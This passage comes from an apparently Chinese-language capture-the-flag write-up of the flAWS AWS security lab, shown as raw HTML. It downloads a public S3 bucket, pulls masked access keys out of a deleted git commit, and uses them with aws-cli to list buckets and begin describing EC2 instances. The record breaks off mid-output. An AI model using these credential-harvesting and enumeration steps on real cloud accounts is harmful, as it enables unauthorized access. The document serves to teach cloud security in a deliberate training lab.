class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>41<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>authenticated_users.png<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:33.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"fcf5a9922117f5117a126c3de0a58cf3"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>123637<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint1.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:34.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"26771b03e748ec8356efb06f1c327492"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1552<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint2.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:34.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"0c5bfeab9de74dbbdbf5b7e0d01d2a69"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1426<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint3.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:35.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"5555c9e8d0bfef3553714188569abfe7"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1247<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint4.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:33.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"4b4f9ab2c9cb30a3d9dd346390329ef3"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1035<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>index.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2020-05-22T18:21:10.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"5a36dafda1c9899804518fae71c9461a"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1861<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>robots.txt<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T00:14:33.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"bbbcde0b15cabd06aace1df82d335978"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>26<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ListBucketResult</span>&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>知道了桶的名字，这个桶又是公开的，先在本地复制一份信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws s3 <span class="built_in">cp</span> s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ./level3 --recursive --region us-west-2</span><br></pre></td></tr></tbody></table></figure><ul><li><code>--recursive</code>→ 递归下载所有文件（因为要下载整个桶）</li><li><code>--region us-west-2</code> → 指定桶所在的区域（在桶地址中有说明）</li></ul><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ <span class="built_in">cd</span> level3</span><br><span class="line">ubuntu@ip-172-31-37-19:~/level3$ git <span class="built_in">log</span></span><br><span class="line">commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -&gt; master)</span><br><span class="line">Author: 0xdabbad00 &lt;scott@summitroute.com&gt;</span><br><span class="line">Date:   Sun Sep 17 09:10:43 2017 -0600</span><br><span class="line"></span><br><span class="line">    Oops, accidentally added something I shouldn<span class="string">'t have</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">commit f52ec03b227ea6094b04e43f475fb0126edb5a61</span></span><br><span class="line"><span class="string">Author: 0xdabbad00 &lt;scott@summitroute.com&gt;</span></span><br><span class="line"><span class="string">Date:   Sun Sep 17 09:10:07 2017 -0600</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    first commit</span></span><br></pre></td></tr></tbody></table></figure><p>可以看到，开发人员在提交<code>f52ec03b227ea609b04e43f475fb0126edb5a61</code>时有他不想要的东西，并在提交<code>b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526</code>时删除了它。</p><p>查看<code>f52ec03b227ea609b04e43f475fb0126edb5a61</code>这一提交：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~/level3$ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61</span><br><span class="line">M       index.html</span><br><span class="line">Note: switching to <span class="string">'f52ec03b227ea6094b04e43f475fb0126edb5a61'</span>.</span><br><span class="line"></span><br><span class="line">You are <span class="keyword">in</span> <span class="string">'detached HEAD'</span> state. You can look around, make experimental</span><br><span class="line">changes and commit them, and you can discard any commits you make <span class="keyword">in</span> this</span><br><span class="line">state without impacting any branches by switching back to a branch.</span><br><span class="line"></span><br><span class="line">If you want to create a new branch to retain commits you create, you may</span><br><span class="line"><span class="keyword">do</span> so (now or later) by using -c with the switch <span class="built_in">command</span>. Example:</span><br><span class="line"></span><br><span class="line">  git switch -c &lt;new-branch-name&gt;</span><br><span class="line"></span><br><span class="line">Or undo this operation with:</span><br><span class="line"></span><br><span class="line">  git switch -</span><br><span class="line"></span><br><span class="line">Turn off this advice by setting config variable advice.detachedHead to <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">HEAD is now at f52ec03 first commit</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~/level3$ <span class="built_in">ls</span></span><br><span class="line">access_keys.txt          hint1.html  hint3.html  index.html</span><br><span class="line">authenticated_users.png  hint2.html  hint4.html  robots.txt</span><br><span class="line">ubuntu@ip-172-31-37-19:~/level3$ <span class="built_in">cat</span> access_keys.txt </span><br><span class="line">access_key AKIA****************</span><br><span class="line">secret_access_key ****************************************</span><br></pre></td></tr></tbody></table></figure><p>可以看到泄露了<code>access_key</code>，通过这些内容我们就可以在aws-cli上登录这个用户，该用户下具体有那些权限和资产了</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~/level3$ aws configure --profile level3</span><br><span class="line">AWS Access Key ID [********************]: AKIA****************</span><br><span class="line">AWS Secret Access Key [********************]: ****************************************</span><br><span class="line">Default region name [us-west-2]: us-west-2</span><br><span class="line">Default output format [json]: json</span><br><span class="line"></span><br><span class="line">ubuntu@ip-172-31-37-19:~/level3$ aws s3 <span class="built_in">ls</span> --profile level3</span><br><span class="line">2026-04-28 11:44:51 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud</span><br><span class="line">2026-04-28 11:31:10 config-bucket-************</span><br><span class="line">2026-04-24 17:21:36 flaws-logs</span><br><span class="line">2026-04-28 13:20:23 flaws.cloud</span><br><span class="line">2026-04-24 21:54:29 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</span><br><span class="line">2026-04-27 14:14:25 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</span><br><span class="line">2026-04-27 20:28:40 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud</span><br><span class="line">2026-04-27 20:05:20 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud</span><br><span class="line">2026-04-24 19:33:12 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud</span><br><span class="line">2026-04-24 21:46:53 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud</span><br></pre></td></tr></tbody></table></figure><p>这里解释一下<code>--profile</code></p><ul><li>AWS CLI 允许你配置多个不同的“身份”，每个身份有自己的 Access Key、Secret Key 和区域设置。这些身份通过 <code>--profile</code> 参数来切换。</li><li>如果不指定profile的话就是用登录的默认用户<code>default</code></li><li>这里我们将这个新的<code>access_key</code>对应<code>level3</code>这个profile，想要在aws-cli操作这个用户可以在命令末尾添加<code>--profile level3</code></li></ul><h2 id="level-4"><a href="#level-4" class="headerlink" title="level 4"></a>level 4</h2><blockquote><p>For the next level, you need to get access to the web page running on an EC2 at <a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/">4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud</a></p><p>It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.</p><p>Need a hint? Go to <a href="http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/hint1.html">Hint 1</a></p></blockquote><p>访问下一个的网页通知需要账号密码，看来这一关就是要我们获取账号密码的</p><p>根据提示，当nginx在EC2上部署后，会创建一个快照（EBS snapshot）。由这一思路出发，利用level 3中取得的账户查询level3上运行的EC2实例的信息</p><p><strong>关于EBS</strong></p><ul><li><p><strong>EBS</strong> 最常见的是指 <strong>AWS (亚马逊云服务) 的块存储服务</strong>，全称 <strong>Amazon Elastic Block Store</strong>。</p></li><li><p>简单理解：它就像云端的<strong>虚拟硬盘</strong>，为云服务器（EC2 实例）提供持久化的数据块级存储。</p></li><li><p>EBS不会自动出现或自动挂载到服务器上。你需要<strong>手动操作</strong>（通过AWS控制台、CLI命令或IaC工具如Terraform）来完成以下动作，一旦创建好，后续的某些配置可以<strong>自动化</strong></p></li></ul><p>先通过上一关获取的用户查看EC2的实例信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br></pre></td><td class="code"><pre><span class="line">$ aws ec2 describe-instances --profile level3</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Reservations"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"ReservationId"</span>: <span class="string">"r-0fe151dbbe77e90cc"</span>,</span><br><span class="line">            <span class="string">"OwnerId"</span>: <span class="string">"************"</span>,</span><br><span class="line">            <span class="string">"Groups"</span>: [],</span><br><span class="line">            <span class="string">"Instances"</span>: [</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Architecture"</span>: <span class="string">"x86_64"</span>,</span><br><span class="line">                    <span class="string">"BlockDeviceMappings"</span>: [</span><br><span class="line">                        {</span><br><span class="line">                            <span class="string">"DeviceName"</span>: <span class="string">"/dev/sda1"</span>,</span><br><span class="line">                            <span class="string">"Ebs"</span>: {</span><br><span class="line">                                <span class="string">"AttachTime"</span>: <span class="string">"2017-02-12T22:29:25+00:00"</span>,</span><br><span class="line">                                <span class="string">"DeleteOnTermination"</span>: <span class="literal">true</span>,</span><br><span class="line">                                <span class="string">"Status"</span>: <span class="string">"attached"</span>,</span><br><span class="line">                                <span class="string">"VolumeId"</span>: <span class="string">"vol-04f1c039bc13ea950"</span>,</span><br><span class="line">                                <span class="string">"EbsCardIndex"</span>: 0</span><br><span class="line">                            }</span><br><span class="line">                        }</span><br><span class="line">                    ],</span><br><span class="line">                    <span class="string">"ClientToken"</span>: <span class="string">"kTOiC1486938563883"</span>,</span><br><span class="line">                    <span class="string">"EbsOptimized"</span>: <span class="literal">false</span>,</span><br><span class="line">                    <span class="string">"Hypervisor"</span>: <span class="string">"xen"</span>,</span><br><span class="line">                    <span class="string">"IamInstanceProfile"</span>: {</span><br><span class="line">                        <span class="string">"Arn"</span>: <span class="string">"arn:aws:iam::************:instance-profile/flaws"</span>,</span><br><span class="line">                        <span class="string">"Id"</span>: <span class="string">"AIPAIK7LV6U6UXJXQQR3Q"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"NetworkInterfaces"</span>: [</span><br><span class="line">                        {</span><br><span class="line">                            <span class="string">"Association"</span>: {</span><br><span class="line">                                <span class="string">"IpOwnerId"</span>: <span class="string">"amazon"</span>,</span><br><span class="line">                                <span class="string">"PublicDnsName"</span>: <span class="string">"ec2-54-202-228-246.us-west-2.compute.amazonaws.com"</span>,</span><br><span class="line">                                <span class="string">"PublicIp"</span>: <span class="string">"54.202.228.246"</span></span><br><span class="line">                            },</span><br><span class="line">                            <span class="string">"Attachment"</span>: {</span><br><span class="line">                                <span class="string">"AttachTime"</span>: <span class="string">"2017-02-12T22:29:24+00:00"</span>,</span><br><span class="line">                                <span class="string">"AttachmentId"</span>: <span class="string">"eni-attach-a4901fc2"</span>,</span><br><span class="line">                                <span class="string">"DeleteOnTermination"</span>: <span class="literal">true</span>,</span><br><span class="line">                                <span class="string">"DeviceIndex"</span>: 0,</span><br><span class="line">                                <span class="string">"Status"</span>: <span class="string">"attached"</span>,</span><br><span class="line">                                <span class="string">"NetworkCardIndex"</span>: 0</span><br><span class="line">                            },</span><br><span class="line">                            <span class="string">"Description"</span>: <span class="string">""</span>,</span><br><span class="line">                            <span class="string">"Groups"</span>: [</span><br><span class="line">                                {</span><br><span class="line">                                    <span class="string">"GroupId"</span>: <span class="string">"sg-490f6631"</span>,</span><br><span class="line">                                    <span class="string">"GroupName"</span>: <span class="string">"launch-wizard-1"</span></span><br><span class="line">                                }</span><br><span class="line">                            ],</span><br><span class="line">                            <span class="string">"Ipv6Addresses"</span>: [],</span><br><span class="line">                            <span class="string">"MacAddress"</span>: <span class="string">"06:b0:7a:92:21:cf"</span>,</span><br><span class="line">                            <span class="string">"NetworkInterfaceId"</span>: <span class="string">"eni-c26ed780"</span>,</span><br><span class="line">                            <span class="string">"OwnerId"</span>: <span class="string">"************"</span>,</span><br><span class="line">                            <span class="string">"PrivateDnsName"</span>: <span class="string">"ip-172-31-41-84.us-west-2.compute.internal"</span>,</span><br><span class="line">                            <span class="string">"PrivateIpAddress"</span>: <span class="string">"172.31.41.84"</span>,</span><br><span class="line">                            <span class="string">"PrivateIpAddresses"</span>: [</span><br><span class="line">                                {</span><br><span class="line">                                    <span class="string">"Association"</span>: {</span><br><span class="line">                                        <span class="string">"IpOwnerId"</span>: <span class="string">"amazon"</span>,</span><br><span class="line">                                        <span class="string">"PublicDnsName"</span>: <span class="string">"ec2-54-202-228-246.us-west-2.compute.amazonaws.com"</span></span><br><span class="line">,</span><br><span class="line">                                        <span class="string">"PublicIp"</span>: <span class="string">"54.202.228.246"</span></span><br><span class="line">                                    },</span><br><span class="line">                                    <span class="string">"Primary"</span>: <span class="literal">true</span>,</span><br><span class="line">                                    <span class="string">"PrivateDnsName"</span>: <span class="string">"ip-172-31-41-84.us-west-2.compute.internal"</span>,</span><br><span class="line">                                    <span class="string">"PrivateIpAddress"</span>: <span class="string">"172.31.41.84"</span></span><br><span class="line">                                }</span><br><span class="line">                            ],</span><br><span class="line">                            <span class="string">"SourceDestCheck"</span>: <span class="literal">true</span>,</span><br><span class="line">                            <span class="string">"Status"</span>: <span class="string">"in-use"</span>,</span><br><span class="line">                            <span class="string">"SubnetId"</span>: <span class="string">"subnet-d962aa90"</span>,</span><br><span class="line">                            <span class="string">"VpcId"</span>: <span class="string">"vpc-1052ce77"</span>,</span><br><span class="line">                            <span class="string">"InterfaceType"</span>: <span class="string">"interface"</span>,</span><br><span class="line">                            <span class="string">"Operator"</span>: {</span><br><span class="line">                                <span class="string">"Managed"</span>: <span class="literal">false</span></span><br><span class="line">                            }</span><br><span class="line">                        }</span><br><span class="line">                    ],</span><br><span class="line">                    <span class="string">"RootDeviceName"</span>: <span class="string">"/dev/sda1"</span>,</span><br><span class="line">                    <span class="string">"RootDeviceType"</span>: <span class="string">"ebs"</span>,</span><br><span class="line">                    <span class="string">"SecurityGroups"</span>: [</span><br><span class="line">                        {</span><br><span class="line">                            <span class="string">"GroupId"</span>: <span class="string">"sg-490f6631"</span>,</span><br><span class="line">                            <span class="string">"GroupName"</span>: <span class="string">"launch-wizard-1"</span></span><br><span class="line">                        }</span><br><span class="line">                    ],</span><br><span class="line">                    <span class="string">"SourceDestCheck"</span>: <span class="literal">true</span>,</span><br><span class="line">                    <span class="string">"VirtualizationType"</span>: <span class="string">"hvm"</span>,</span><br><span class="line">                    <span class="string">"CpuOptions"</span>: {</span><br><span class="line">                        <span class="string">"CoreCount"</span>: 1,</span><br><span class="line">                        <span class="string">"ThreadsPerCore"</span>: 1</span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"CapacityReservationSpecification"</span>: {</span><br><span class="line">                        <span class="string">"CapacityReservationPreference"</span>: <span class="string">"open"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"HibernationOptions"</span>: {</span><br><span class="line">                        <span class="string">"Configured"</span>: <span class="literal">false</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"MetadataOptions"</span>: {</span><br><span class="line">                        <span class="string">"State"</span>: <span class="string">"applied"</span>,</span><br><span class="line">                        <span class="string">"HttpTokens"</span>: <span class="string">"optional"</span>,</span><br><span class="line">                        <span class="string">"HttpPutResponseHopLimit"</span>: 1,</span><br><span class="line">                        <span class="string">"HttpEndpoint"</span>: <span class="string">"enabled"</span>,</span><br><span class="line">                        <span class="string">"HttpProtocolIpv6"</span>: <span class="string">"disabled"</span>,</span><br><span class="line">                        <span class="string">"InstanceMetadataTags"</span>: <span class="string">"disabled"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"EnclaveOptions"</span>: {</span><br><span class="line">                        <span class="string">"Enabled"</span>: <span class="literal">false</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"PlatformDetails"</span>: <span class="string">"Linux/UNIX"</span>,</span><br><span class="line">                    <span class="string">"UsageOperation"</span>: <span class="string">"RunInstances"</span>,</span><br><span class="line">                    <span class="string">"UsageOperationUpdateTime"</span>: <span class="string">"2017-02-12T22:29:24+00:00"</span>,</span><br><span class="line">                    <span class="string">"PrivateDnsNameOptions"</span>: {},</span><br><span class="line">                    <span class="string">"MaintenanceOptions"</span>: {</span><br><span class="line">                        <span class="string">"AutoRecovery"</span>: <span class="string">"default"</span>,</span><br><span class="line">                        <span class="string">"RebootMigration"</span>: <span class="string">"default"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"CurrentInstanceBootMode"</span>: <span class="string">"legacy-bios"</span>,</span><br><span class="line">                    <span class="string">"NetworkPerformanceOptions"</span>: {</span><br><span class="line">                        <span class="string">"BandwidthWeighting"</span>: <span class="string">"default"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"Operator"</span>: {</span><br><span class="line">                        <span class="string">"Managed"</span>: <span class="literal">false</span>,</span><br><span class="line">                        <span class="string">"HiddenByDefault"</span>: <span class="literal">false</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"SecondaryInterfaces"</span>: [],</span><br><span class="line">                    <span class="string">"InstanceId"</span>: <span class="string">"i-05bef8a081f307783"</span>,</span><br><span class="line">                    <span class="string">"ImageId"</span>: <span class="string">"ami-7c803d1c"</span>,</span><br><span class="line">                    <span class="string">"State"</span>: {</span><br><span class="line">                        <span class="string">"Code"</span>: 16,</span><br><span class="line">                        <span class="string">"Name"</span>: <span class="string">"running"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"PrivateDnsName"</span>: <span class="string">"ip-172-31-41-84.us-west-2.compute.internal"</span>,</span><br><span class="line">                    <span class="string">"PublicDnsName"</span>: <span class="string">"ec2-54-202-228-246.us-west-2.compute.amazonaws.com"</span>,</span><br><span class="line">                    <span class="string">"StateTransitionReason"</span>: <span class="string">""</span>,</span><br><span class="line">                    <span class="string">"KeyName"</span>: <span class="string">"Default"</span>,</span><br><span class="line">                    <span class="string">"AmiLaunchIndex"</span>: 0,</span><br><span class="line">                    <span class="string">"ProductCodes"</span>: [],</span><br><span class="line">                    <span class="string">"InstanceType"</span>: <span class="string">"t2.nano"</span>,</span><br><span class="line">                    <span class="string">"LaunchTime"</span>: <span class="string">"2024-08-04T16:51:52+00:00"</span>,</span><br><span class="line">                    <span class="string">"Placement"</span>: {</span><br><span class="line">                        <span class="string">"AvailabilityZoneId"</span>: <span class="string">"usw2-az2"</span>,</span><br><span class="line">                        <span class="string">"GroupName"</span>: <span class="string">""</span>,</span><br><span class="line">                        <span class="string">"Tenancy"</span>: <span class="string">"default"</span>,</span><br><span class="line">                        <span class="string">"AvailabilityZone"</span>: <span class="string">"us-west-2a"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"Monitoring"</span>: {</span><br><span class="line">                        <span class="string">"State"</span>: <span class="string">"disabled"</span></span><br><span class="line">                    },</span><br><span class="line">                    <span class="string">"SubnetId"</span>: <span class="string">"subnet-d962aa90"</span>,</span><br><span 